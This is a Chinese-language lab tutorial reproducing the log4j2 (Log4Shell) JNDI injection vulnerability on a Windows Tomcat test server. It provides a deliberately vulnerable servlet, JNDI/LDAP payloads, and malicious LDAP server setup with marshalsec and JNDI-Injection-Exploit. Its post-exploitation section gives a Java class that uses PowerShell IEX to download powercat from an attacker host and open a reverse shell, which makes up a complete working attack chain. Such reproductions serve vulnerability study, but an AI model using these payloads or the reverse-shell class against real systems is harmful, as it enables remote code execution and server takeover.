log4J2靶机搭建和漏洞复现
漏洞原理
log4j2是Java技术栈中用的比较多的日志输出框架,允许输出其他文件或者网络位置中的Java对象,这是漏洞的基础。
log4j2通过 lookup
方法查找其他路径的数据,支持JDNI
、Web、Event等多种查找途径。JNDI(Java Naming and Directory Interface,JAVA命名和目录接口)是一个目录系统,将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
而JNDI又支持LDAP
、RMI、DNS等不同方式的数据来源,通过LDAP、RMI两种方式可以提供其他网络位置的数据。因此,可以在远程服务器上构建恶意类,通过JNDI注入到目标服务器上,达到执行任意命令的目的。
具体实现过程是:
通过logger.error(name)
语句,可以将 name
指代的内容打印到日志中。当name
满足name=${ }
形式时,会先解析{ }
中的内容,如果内容为${jndi:ldap://evilIP/ClassName}
,则lookup
方法会先解析这是jndi
方式,然后jndi
继续解析这是ldap
协议,然后去到//evilIP
所在的网络位置去加载ClassName
类,造成ClassName
的内容被执行。这就是log4j2漏洞的原理,因此最简单的复现就是写一段包含logger.error(“${jndi:ldap://evilIP/ClassName}”)
的Java代码。
当name
是通过name = request.getParameter("aaa")
获取到的用户传入的参数时,如果构造形如aaa=${jndi:ldap://evilIP/ClassName}
的输入,就可以在服务器上执行用户在ClassName
中定义的操作,达到攻击的目的。本文也按照这个思路复现。
详细的原理可以参考核弹级漏洞!我把log4j扒给你看。
漏洞复现
靶机搭建
靶机需要运行版本符合的Java web服务,并启用了log4j2,而且会将某些来自用户的请求打印到日志中。网站的部署具体可以参考Log4j2漏洞复现,这里不具体讲。本文选用的环境为:
- win10,jdk-8u181,tomcat9,log4j-2.14.0
具体的环境没有要求,但要注意jdk的版本,jdk1.8_191后的版本无法触发漏洞。
在web服务中编写包含漏洞的类log4j2Servlet
:
import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* Servlet implementation class log4j2Servlet
*/
@WebServlet("/log4j2Servlet")
public class log4j2Servlet extends HttpServlet {
private static final long serialVersionUID = 1L;
private static final Logger logger = LogManager.getLogger(log4j2Servlet.class);
/**
* @see HttpServlet#HttpServlet()
*/
public log4j2Servlet() {
super();
// TODO Auto-generated constructor stub
}
/**
* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
*/
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// TODO Auto-generated method stub
response.setContentType("text/html");
response.setHeader("Content-Type", "text/html; charset=utf-8");
System.out.println(request.getQueryString());
// Hello
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>Hello World!</h1>");
out.println("</body></html>");
}
/**
* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
*/
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// TODO Auto-generated method stub
String name = request.getParameter("aaa");
logger.error(name);
response.setContentType("text/html");
response.setHeader("Content-Type", "text/html; charset=utf-8");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>Got it!</h1>");
out.println("</body></html>");
}
}
大部分为通用代码,关键代码为:
String name = request.getParameter("aaa");
logger.error(name);
当用户通过post请求这个资源时, 比如本文的地址为:http://192.168.220.145:8086/log4j2pro/log4j2Servlet(8086为网站运行的端口,log4j2pro为网站项目的名称),会将aaa后面的参数通过logger.error打印到日志中。
我们通过DNSlog测试该漏洞是否生效,在dnslog网站申请一个域名得到jj74zc.dnslog.cn
,构造payload:${jndi:ldap://jj74zc.dnslog.cn/exp}
,然后使用burpsuit向目标发送post请求:
成功得到回显,拿到了服务器的IP地址,证明漏洞可以生效。
攻击环境配置和实施
前面提到了执行恶意操作需要加载远程LDAP服务上的恶意类,因此需要搭建恶意LDAP服务。搭建LDAP服务有两种方式,
- java 反序列化利用工具:marshalsec
- JNDI注入插件:JNDI-Injection-Exploit
1. 通过marshalsec
使用marshalsec需要自己定义恶意类,并搭建恶意类下载的网络路径,比如我们编写如下Java类,该类被执行时会打开系统上的计算器:
public class Exploit {
public Exploit(){
try{
String[] commands = {"calc.exe"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
然后通过Javac将其编译成.class
类型的文件,以用于目标服务器加载:
javac Exploit.java
然后在Exploit.class所在的目录下通过python启用一个web,以供这个类的下载:
进行访问,正常:
192.168.1.8为我们攻击机的地址。这样就提供了一个可以在网络位置访问的恶意类。
下载marshalsec并解压,然后在marshalsec根目录下,执行以下命令,通过maven工具将marshalsec打包成jar包:
mvn clean package -DskipTests
然后会在target目录下生成我们需要的marshalsec-0.0.1-SNAPSHOT-all.jar
包,也可以直接下载已经打包好的。
然后执行以下命令,将我们刚才搭建的下载地址映射到LDAP服务地址:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.8:8880/#Exploit"
可以看到,在本机地址的1389端口开启了LDAP:
因此,向服务器注入payload${jndi:ldap://192.168.1.8:1389/Exploit}
时,就会加载恶意类Exploit
。
通过burpsuit向服务器注入构造的payload:
可以看到目标机器上成功打开了计算机,日志中也显示了我们的攻击载荷:
对应的,LDAP服务和python web日志中都显示了该类被请求的记录:
2 通过JNDI-Injection-Exploit
JNDI-Injection-Exploit是编辑好的用于JNDI注入的包,因此实施更简单一些。首先下载JNDI-Injection-Exploit,然后进入根目录打包成jar包:
mvn clean package -DskipTests
同样在target目录下生成我们需要的JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
包,然后执行以下命令,开启LDAP服务,并指定我们需要运行的命令和LDAP服务的地址:
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A "192.168.1.8"
c后面为需要运行的指令,A为服务地址。可以看到在//192.168.1.8:1389/sqbedo
路径下开启了ldap服务:
所以攻击载荷为${jndi:ldap://192.168.1.8:1389/sqbedo}
用burpsuit发送请求,同样执行成功:
后渗透阶段
渗透的目的当然不是简单的运行一下计算器,而是要拿到服务器的权限。下面我们演示一下如何通过log4j2拿到服务器权限。
这里我们采用marshalsec的方式,构造包含后门程序的恶意类,将其上传到服务器。因为我们知道目标服务器是Windows服务器,所以这里我们利用power shell来反弹连接。基于power shell的反弹shell有powercat、基于nishang框架的脚本等,这里我们选用
powercat。接下来就需要将powercat上传到服务器并运行。
前面我们构造的恶意类已经可以在服务器上运行计算器了,所以我们只需要将运行计算器的命令替换为下载powercat并运行的命令:
public class postExploit {
public postExploit(){
try{
String[] commands = new String[]{"powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.8:8880/powercat.ps1'); powercat -c 192.168.220.129 -p 4455 -e cmd"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
postExploit e = new postExploit();
}
}
我们在自己的服务器上下载好powercat.ps1脚本,将其放置在然后在目标服务器上调用powershell下载并运行该脚本,然后在kali(192.168.220.129)的4455端口打开nc监听即可。
然而,我们直接这样构造恶意类的时候,会执行失败,具体原因和解决方法可以参考Java反弹shell小记。
然后我们将构造命令的语句改写为如下形式,以此绕过空格:
String[] commands = new String[]{"powershell", "IEX", "(New-Object System.Net.Webclient).DownloadString('http://192.168.1.8:8880/powercat.ps1'); powercat -c 192.168.220.129 -p 4455 -e cmd"};
然后在该文件目录下开启下载服务,并编译类,开启LDAP服务,通过burpsuit发送post payload:${jndi:ldap://192.168.1.8:1389/postExploit}
,可以看到nc成功获取到了服务器的shell。